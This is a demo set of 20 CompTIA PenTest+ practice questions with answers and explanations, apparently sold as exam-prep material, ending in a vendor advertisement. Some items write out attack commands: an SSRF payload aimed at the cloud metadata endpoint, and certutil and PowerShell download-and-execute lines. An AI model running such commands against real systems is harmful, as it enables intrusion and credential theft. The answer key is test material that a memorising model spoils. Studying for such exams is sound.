Vendor: CompTIA

Exam Code: PT0-003

Exam Name: CompTIA PenTest+ Exam: PT0-003 Exam

Version: DEMO

QUESTION 1
A penetration tester downloads a JAR file that is used in an organization's production environment. The tester evaluates the contents of the JAR file to identify potentially vulnerable components that can be targeted for exploit. Which of the following describes the tester's activities?

A. SAST
B. SBOM
C. ICS
D. SCA

Answer: D
Explanation:
The tester's activity involves analyzing the contents of a JAR file to identify potentially vulnerable components. This process is known as Software Composition Analysis (SCA).
Definition: SCA involves analyzing software to identify third-party and open-source components, checking for known vulnerabilities, and ensuring license compliance.
Purpose: To detect and manage risks associated with third-party software components.

QUESTION 2
During a penetration testing engagement, a tester targets the internet-facing services used by the client. Which of the following describes the type of assessment that should be considered in this scope of work?

A. Segmentation
B. Mobile
C. External
D. Web

Answer: C
Explanation:
An external assessment focuses on testing the security of internet-facing services.
External Assessment: It involves evaluating the security posture of services exposed to the internet, such as web servers, mail servers, and other public-facing infrastructure. The goal is to identify vulnerabilities that could be exploited by attackers from outside the organization's network.

QUESTION 3
A penetration tester has just started a new engagement. The tester is using a framework that breaks the life cycle into 14 components. Which of the following frameworks is the tester using?

A. OWASP MASVS
B. OSSTMM
C. MITRE ATT&CK
D. CREST

Answer: B
Explanation:
The OSSTMM (Open Source Security Testing Methodology Manual) is a comprehensive framework for security testing that includes 14 components in its life cycle.
OSSTMM: This methodology breaks down the security testing process into 14 components, covering various aspects of security assessment, from planning to execution and reporting.

QUESTION 4
A penetration tester is evaluating a SCADA system. The tester receives local access to a workstation that is running a single application. While navigating through the application, the tester opens a terminal window and gains access to the underlying operating system. Which of the following attacks is the tester performing?

A. Kiosk escape
B. Arbitrary code execution
C. Process hollowing
D. Library injection

Answer: A
Explanation:
A kiosk escape attack occurs when a restricted interface (such as a locked-down SCADA application or kiosk mode system) is bypassed, allowing access to the underlying operating system. This is typically achieved through keyboard shortcuts, application misconfigurations, or unprotected terminal access. In this scenario, the penetration tester breaks out of the restricted SCADA application and gains OS access, making kiosk escape the correct attack type.

QUESTION 5
A penetration tester presents the following findings to stakeholders:

```
Control | Number of findings | Risk | Notes
Encryption | 1 | Low | Weak algorithm noted
Patching | 8 | Medium | Unsupported systems
System hardening | 2 | Low | Baseline drift observed
Secure SDLC | 10 | High | Libraries have vulnerabilities
Password policy | 0 | Low | No exceptions noted
```

Based on the findings, which of the following recommendations should the tester make? (Select two).

A. Develop a secure encryption algorithm.
B. Deploy an asset management system.
C. Write an SDLC policy.
D. Implement an SCA tool.
E. Obtain the latest library version.
F. Patch the libraries.

Answer: DE
Explanation:
Based on the findings, the focus should be on addressing vulnerabilities in libraries and ensuring their security.
Implement an SCA Tool:
SCA (Software Composition Analysis) tools are designed to analyze and manage open-source components in an application. Implementing an SCA tool would help in identifying and managing vulnerabilities in libraries, aligning with the finding of vulnerable libraries in the secure SDLC process. This recommendation addresses the high-risk finding related to the Secure SDLC by providing a systematic approach to manage and mitigate vulnerabilities in software dependencies.
Obtain the Latest Library Version:

Keeping libraries up to date is a fundamental practice in maintaining the security of an application. Ensuring that the latest, most secure versions of libraries are used directly addresses the high-risk finding related to vulnerable libraries.
This recommendation is a direct and immediate action to mitigate the identified vulnerabilities.

QUESTION 6
While conducting a reconnaissance activity, a penetration tester extracts the following information:

```
Emails:
- admin@acme.com
- sales@acme.com
- support@acme.com
```

Which of the following risks should the tester use to leverage an attack as the **next** step in the security assessment?

A. Unauthorized access to the network
B. Exposure of sensitive servers to the internet
C. Likelihood of SQL injection attacks
D. Indication of a data breach in the company

Answer: A
Explanation:
The collected email addresses (e.g., `admin@acme.com`, `sales@acme.com`) can be used for phishing, spear phishing, or password spraying attacks. These attacks aim to gain unauthorized access to internal systems or user accounts, making this the most immediate and relevant risk.

QUESTION 7
A penetration tester gains access to a host but does not have access to any type of shell. Which of the following is the best way for the tester to further enumerate the host and the environment in which it resides?

A. ProxyChains
B. Netcat
C. PowerShell ISE
D. Process IDs

Answer: B
Explanation:
If a penetration tester gains access to a host but does not have a shell, the best tool for further enumeration is Netcat.
Netcat:
Versatility: Netcat is known as the "Swiss Army knife" of networking tools. It can be used for port scanning, banner grabbing, and setting up reverse shells.
Enumeration: Without a shell, Netcat can help enumerate open ports and services running on the host, providing insight into the host's environment.

QUESTION 8
A penetration tester has found a web application that is running on a cloud virtual machine instance. Vulnerability scans show a potential SSRF for the same application URL path with an injectable parameter. Which of the following commands should the tester run to successfully test

for secrets exposure exploitability?

A. curl <url>?param=http://169.254.169.254/latest/meta-data/
B. curl '<url>?param=http://127.0.0.1/etc/passwd'
C. curl '<url>?param=<script>alert(1)<script>/'
D. curl <url>?param=http://127.0.0.1/

Answer: A
Explanation:
In a cloud environment, testing for Server-Side Request Forgery (SSRF) vulnerabilities involves attempting to access metadata services.
Accessing Cloud Metadata Service:
URL: http://169.254.169.254/latest/meta-data/ is a well-known endpoint in cloud environments (e.g., AWS) to access instance metadata.
Purpose: By exploiting SSRF to access this URL, an attacker can retrieve sensitive information such as instance credentials and other metadata.

QUESTION 9
A penetration tester cannot find information on the target company's systems using common OSINT methods. The tester's attempts to do reconnaissance against internet-facing resources have been blocked by the company's WAF. Which of the following is the best way to avoid the WAF and gather information about the target company's systems?

A. HTML scraping
B. Code repository scanning
C. Directory enumeration
D. Port scanning

Answer: B
Explanation:
When traditional reconnaissance methods are blocked, scanning code repositories is an effective method to gather information.
Code Repository Scanning:
Leaked Information: Code repositories (e.g., GitHub, GitLab) often contain sensitive information, including API keys, configuration files, and even credentials that developers might inadvertently commit.
Accessible: These repositories can often be accessed publicly, bypassing traditional defenses like WAFs.

QUESTION 10
During a penetration test, the tester uses a vulnerability scanner to collect information about any possible vulnerabilities that could be used to compromise the network. The tester receives the results and then executes the following command:

```
snmpwalk -v 2c -c public 192.168.1.23
```

Which of the following is the tester trying to do based on the command they used?

A. Bypass defensive systems to collect more information.
B. Use an automation tool to perform the attacks.
C. Script exploits to gain access to the systems and host.
D. Validate the results and remove false positives.

Answer: D
Explanation:
The command snmpwalk -v 2c -c public 192.168.1.23 is used to query SNMP (Simple Network Management Protocol) data from a device.
SNMP Enumeration:
Function: snmpwalk is used to retrieve a large amount of information from the target device using SNMP.
Version: -v 2c specifies the SNMP version.
Community String: -c public specifies the community string, which is essentially a password for SNMP queries.
Purpose of the Command:
Validate Results: The tester uses SNMP to gather detailed information about the network devices to confirm the findings of the vulnerability scanner and remove any false positives.
Detailed Information: SNMP can provide detailed information about device configurations, network interfaces, and other settings that can validate the scanner's results.

QUESTION 11
A penetration tester is working on a security assessment of a mobile application that was developed in-house for local use by a hospital. The hospital and its customers are very concerned about disclosure of information. Which of the following tasks should the penetration tester do first?

A. Set up Drozer in order to manipulate and scan the application.
B. Run the application through the mobile application security framework.
C. Connect Frida to analyze the application at runtime to look for data leaks.
D. Load the application on client-owned devices for testing.

Answer: B
Explanation:
When performing a security assessment on a mobile application, especially one concerned with information disclosure, it is crucial to follow a structured approach to identify vulnerabilities comprehensively.
Mobile Application Security Framework: This framework provides a structured methodology for assessing the security of mobile applications. It includes various tests such as static analysis, dynamic analysis, and reverse engineering, which are essential for identifying vulnerabilities related to information disclosure.
Initial Steps: Running the application through a security framework allows the tester to identify a broad range of potential issues systematically. This initial step ensures that all aspects of the application's security are covered before delving into more specific tools like Drozer or Frida.

QUESTION 12
Before starting an assessment, a penetration tester needs to scan a Class B IPv4 network for open ports in a short amount of time. Which of the following is the best tool for this task?

A. Burp Suite
B. masscan
C. Nmap
D. hping

Answer: B
Explanation:

A Class B IPv4 network contains 65,536 IP addresses (`x.y.0.0/16`). Scanning such a large network quickly requires a high-speed, asynchronous scanner.

`masscan` is the best tool for this task because:

- It can scan the entire Internet (0.0.0.0/0) in minutes.
- It uses asynchronous scanning, unlike `Nmap`, which is slower for large networks.
- Can send millions of packets per second, making it the fastest port scanner available.
- Syntax for scanning a Class B network (`masscan -p1-65535 192.168.0.0/16 --rate=100000`) optimized for speed, but does not provide detailed service information like `Nmap`.

QUESTION 13
A penetration tester is performing an authorized physical assessment. During the test, the tester observes an access control vestibule and on-site security guards near the entry door in the lobby. Which of the following is the best attack plan for the tester to use in order to gain access to the facility?

A. Clone badge information in public areas of the facility to gain access to restricted areas.
B. Tailgate into the facility during a very busy time to gain initial access.
C. Pick the lock on the rear entrance to gain access to the facility and try to gain access.
D. Drop USB devices with malware outside of the facility in order to gain access to internal machines.

Answer: B
Explanation:
In an authorized physical assessment, the goal is to test physical security controls. Tailgating is a common and effective technique in such scenarios.
Tailgating: This involves following an authorized person into a secure area without proper credentials. During busy times, it's easier to blend in and gain access without being noticed. It tests the effectiveness of physical access controls and security personnel.
Cloning Badge Information: This can be effective but requires proximity to employees and specialized equipment, making it more complex and time-consuming.
Picking Locks: This is a more invasive technique that carries higher risk and is less stealthy compared to tailgating.
Dropping USB Devices: This tests employee awareness and response to malicious devices but does not directly test physical access controls.

QUESTION 14
During a web application assessment, a penetration tester identifies an input field that allows JavaScript injection. The tester inserts a line of JavaScript that results in a prompt, presenting a text box when browsing to the page going forward. Which of the following types of attacks is this an example of?

A. SQL injection
B. SSRF
C. XSS
D. Server-side template injection

Answer: C
Explanation:
Cross-Site Scripting (XSS) is an attack that involves injecting malicious scripts into web pages

viewed by other users.
XSS (Cross-Site Scripting): This attack involves injecting JavaScript into a web application, which is then executed by the user's browser. The scenario describes injecting a JavaScript prompt, which is a typical XSS payload.

QUESTION 15
A penetration tester is working on an engagement in which a main objective is to collect confidential information that could be used to exfiltrate data and perform a ransomware attack. During the engagement, the tester is able to obtain an internal foothold on the target network. Which of the following is the next task the tester should complete to accomplish the objective?

A. Initiate a social engineering campaign.
B. Perform credential dumping.
C. Compromise an endpoint.
D. Share enumeration.

Answer: B
Explanation:
The scenario outlines a penetration test with a main objective to collect confidential information that could aid in data exfiltration and ransomware attacks. The tester has already obtained an internal foothold, meaning they have access to the internal network or systems.

QUESTION 16
During a penetration test, the tester identifies several unused services that are listening on all targeted internal laptops:

Hostname	Port	Service name	Status
System 1	22	SSH	Open
System 2	80	HTTP	Open
System 3	443	SSL	Open
System 4	3389	RDP	Open

Which of the following technical controls should the tester recommend to reduce the risk of compromise?

A. Multifactor authentication
B. Patch management
C. System hardening
D. Network segmentation

Answer: C
Explanation:
Disabling or removing unused services on each laptop is a core hardening measure that reduces the available attack surface and prevents attackers from exploiting unnecessary listening ports.

QUESTION 17

A penetration tester writes the following script to enumerate a /24 network:

```
1 #!/bin/bash
2 for i in {1..254}
3     ping -c1 192.168.1.$i
4 done
```

The tester executes the script, but it fails with the following error:

`-bash: syntax error near unexpected token 'ping'`

Which of the following should the tester do to fix the error?

A. Add do after line 2.
B. Replace {1..254} with $(seq 1 254).
C. Replace bash with tsh.
D. Replace $i with ${i}.

Answer: A
Explanation:
The error occurs because the script is missing the do statement after the for loop declaration. In Bash scripting, do is required to indicate the beginning of the loop's body.

Corrected Script:

```
#!/bin/bash
for i in {1..254}
do
    ping -c1 192.168.1.$i
done
```

- `for i in {1..254}` – Iterates through 1 to 254.
- `do` (added after line 2) – Marks the start of the loop's actions.
- `ping -c1 192.168.1.$i` – Pings each IP in the 192.168.1.0/24 subnet.
- `done` – Closes the loop.

QUESTION 18
A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access. Which of the following commands should the penetration tester use?

A. powershell.exe impo C:\tools\foo.ps1
B. certutil.exe -f https://192.168.0.1/foo.exe bad.exe
C. powershell.exe -noni -encode IEX.Downloadstring("http://172.16.0.1/")
D. rundll32.exe c:\path\foo.dll,functName

Answer: D
Explanation:

rundll32.exe is commonly used by penetration testers to execute functions exported from DLL files, which can contain payloads or backdoors, making it suitable for post-exploitation access.

QUESTION 19
During a vulnerability assessment, a penetration tester configures the scanner sensor and performs the initial vulnerability scanning under the client's internal network. The tester later discusses the results with the client, but the client does not accept the results. The client indicates the host and assets that were within scope are not included in the vulnerability scan results. Which of the following should the tester have done?

A. Rechecked the scanner configuration.
B. Performed a discovery scan.
C. Used a different scan engine.
D. Configured all the TCP ports on the scan.

Answer: B
Explanation:
When the client indicates that the scope's hosts and assets are not included in the vulnerability scan results, it suggests that the tester may have missed discovering all the devices in the scope.
Performing a Discovery Scan:
Purpose: A discovery scan identifies all active devices on the network before running a detailed vulnerability scan. It ensures that all in-scope devices are included in the assessment.
Process: The discovery scan uses techniques like ping sweeps, ARP scans, and port scans to identify active hosts and services.

QUESTION 20
Which of the following describes the process of determining why a vulnerability scanner is not providing results?

A. Root cause analysis
B. Secure distribution
C. Peer review
D. Goal reprioritization

Answer: A
Explanation:
Root cause analysis involves identifying the underlying reasons why a problem is occurring. In the context of a vulnerability scanner not providing results, performing a root cause analysis would help determine why the scanner is failing to deliver the expected output.
Root Cause Analysis: This is a systematic process used to identify the fundamental reasons for a problem. It involves investigating various potential causes and pinpointing the exact issue that is preventing the vulnerability scanner from working correctly.

Thank You for Trying Our Product

Lead2pass Certification Exam Features:

★ More than **99,900** Satisfied Customers Worldwide.

★ Average **99.9%** Success Rate.

★ **Free Update** to match latest and real exam scenarios.

★ **Instant Download** Access! No Setup required.

★ Questions & Answers are downloadable in **PDF** format and **VCE** test engine format.

★ Multi-Platform capabilities - **Windows, Laptop, Mac, Android, iPhone, iPod, iPad**.

★ **100%** Guaranteed Success or **100%** Money Back Guarantee.

★ **Fast**, helpful support **24x7**.

View list of all certification exams: http://www.lead2pass.com/all-products.html

10% Discount Coupon Code: **ASTR14**